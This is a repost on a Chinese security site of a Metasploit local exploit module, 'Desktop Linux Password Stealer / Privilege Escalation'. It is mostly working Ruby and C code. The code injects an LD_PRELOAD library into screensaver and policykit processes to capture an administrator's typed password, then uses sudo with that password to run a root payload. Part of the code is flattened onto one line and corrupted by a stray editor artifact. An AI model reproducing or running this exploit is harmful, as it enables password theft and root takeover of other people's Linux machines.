首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Desktop Linux Password Stealer / Privilege Escalation
来源:metasploit.com 作者:Lell 发布时间:2014-12-30  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'base64'
require 'metasm'

class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info={})
    super( update_info( info, {
      'Name'          => 'Desktop Linux Password Stealer and Privilege Escalation',
      'Description'   => %q{
        This module steals the user password of an administrative user on a desktop Linux system
        when it is entered for unlocking the screen or for doing administrative actions using
        policykit. Then it escalates to root privileges using sudo and the stolen user password.
        It exploits the design weakness that there is no trusted channell for transferring the
        password from the keyboard to the actual password verificatition against the shadow file
        (which is running as root since /etc/shadow is only readable to the root user). Both
        screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under
        the current user account to query for the password and then pass it to a setuid-root binary
        to do the password verification. Therefore it is possible to inject a password stealer
        after compromising the user account. Since sudo requires only the user password (and not
        the root password of the system), stealing the user password of an administrative user
        directly allows escalating to root privileges. Please note that you have to start a handler
        as a background job before running this exploit since the exploit will only create a shell
        when the user actually enters the password (which may be hours after launching the exploit).
        Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
      },
      'License'       => MSF_LICENSE,
      'Author'        => ['Jakob Lell'],
      'DisclosureDate' => 'Aug 7 2014',
      'Platform'      => 'linux',
      'Arch'          => [ARCH_X86, ARCH_X86_64],
      'SessionTypes'  => ['shell', 'meterpreter'],
      'Targets'       =>
        [
          ['Linux x86', {'Arch' => ARCH_X86}],
          ['Linux x86_64', {'Arch' => ARCH_X86_64}]
        ],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependFork' => true,
          'DisablePayloadHandler' => true
        },
      'DefaultTarget' => 0,
      }
    ))

    register_options([
      OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
    ], self.class)
  end

  def check
    check_command = 'if which perl && '
    check_command << 'which sudo && '
    check_command << 'id|grep -E \'sudo|adm\' && '
    check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
    check_command << 'then echo OK;'
    check_command << 'fi'

    output = cmd_exec(check_command).gsub("\r", '')

    vprint_status(output)

    if output['OK'] == 'OK'
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    pl = generate_payload_exe
    if pl.blank?
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
    end

    exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"

    print_status("Writing payload executable to '#{exe_file}'")
    write_file(exe_file, pl)
    cmd_exec("chmod +x #{exe_file}")


    cpu = nil
    if target['Arch'] == ARCH_X86
      cpu = Metasm::Ia32.new
    elsif target['Arch'] == ARCH_X86_64
      cpu = Metasm::X86_64.new
    end
    lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
    lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"

    print_status("Writing lib file to '#{lib_file}'")
    write_file(lib_file,lib_data)

    print_status('Restarting processes (screensaver/policykit)')
    restart_commands = get_restart_commands
    restart_commands.each do |cmd|
      cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
      cmd_exec(cmd)
    end
    print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
  end

  def get_restart_commands
    get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
    get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
    get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
    get_cmd_lines << '$/=undef;'
    get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/
___FCKpd___0
";print "
___FCKpd___0
:".unpack("H*",<F>),"\n";}}\'' text_output = cmd_exec(get_cmd_lines).gsub("\r",'') vprint_status(text_output) lines = text_output.split("\n") restart_commands = [] i=0 while i < lines.length - 3 m = lines[i].match(/^PID:(\d+)/) if m pid = m[1] vprint_status("PID=#{pid}") print_status("Found process: " + lines[i+1]) exe = lines[i+1].match(/^EXE:(\S+)$/)[1] vprint_status("exe=#{exe}") cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") vprint_status("CMDLINE=" + cmdline.join(' XXX ')) env = lines[i+3].match(/^environ:(\w+)$/)[1] restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'' vprint_status("RESTART: #{restart_command}") restart_commands.push(restart_command) end i+=1 end restart_commands end def c_code(exe_file) c = %Q| // A few constants/function definitions/structs copied from header files #define RTLD_NEXT ((void *) -1l) extern uintptr_t dlsym(uintptr_t, char*); // Define some structs to void so that we can ignore all dependencies from these structs #define FILE void #define pam_handle_t void extern FILE *popen(const char *command, const char *type); extern int pclose(FILE *stream); extern int fprintf(FILE *stream, const char *format, ...); extern char *strstr(const char *haystack, const char *needle); extern void *malloc(unsigned int size); struct pam_message { int msg_style; const char *msg; }; struct pam_response { char *resp; int resp_retcode; }; struct pam_conv { int (*conv)(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr); void *appdata_ptr; }; void run_sudo(char* password) { FILE* sudo = popen("sudo -S #{exe_file}", "w"); fprintf(sudo,"%s\\n",password); pclose(sudo); } int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr; int i; int passwd_index = -1; for(i=0;i<num_msg;i++){ if(strstr(msg[i]->msg,"Password") >= 0){ passwd_index = i; } } int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr); if(passwd_index >= 0){ run_sudo(resp[passwd_index]->resp); } return result; } int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) { static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh); if(!orig_pam_start){ orig_pam_start = dlsym(RTLD_NEXT,"pam_start"); } struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv)); my_pam_conversation->conv = &my_conv; my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation; return orig_pam_start(service_name, user, my_pam_conversation, pamh); } void polkit_agent_session_response (void *session, char *response) __attribute__((export)) { static void *(*orig_polkit_agent_session_response)(void *session, char* response); if(!orig_polkit_agent_session_response){ orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response"); } run_sudo(response); orig_polkit_agent_session_response(session, response); return; } | c end end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Maxthon Browser Address Bar Sp
·ProjectSend Arbitrary File Upl
·jetAudio 8.1.3.2200 Crash Proo
·Liferay Portal 7.0.x <= 7.0.2
·WhatsApp <= 2.11.476 - Remote
·PHPads <= 213607 - Authenticat
·WordPress Themes download.php
·i-FTP Schedule Buffer Overflow
·AMSI 3.20.47 Build 37 File Dis
·WordPress RevSlider Local File
·Phase botnet blind SQL injecti
·Malicious Git And Mercurial HT
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved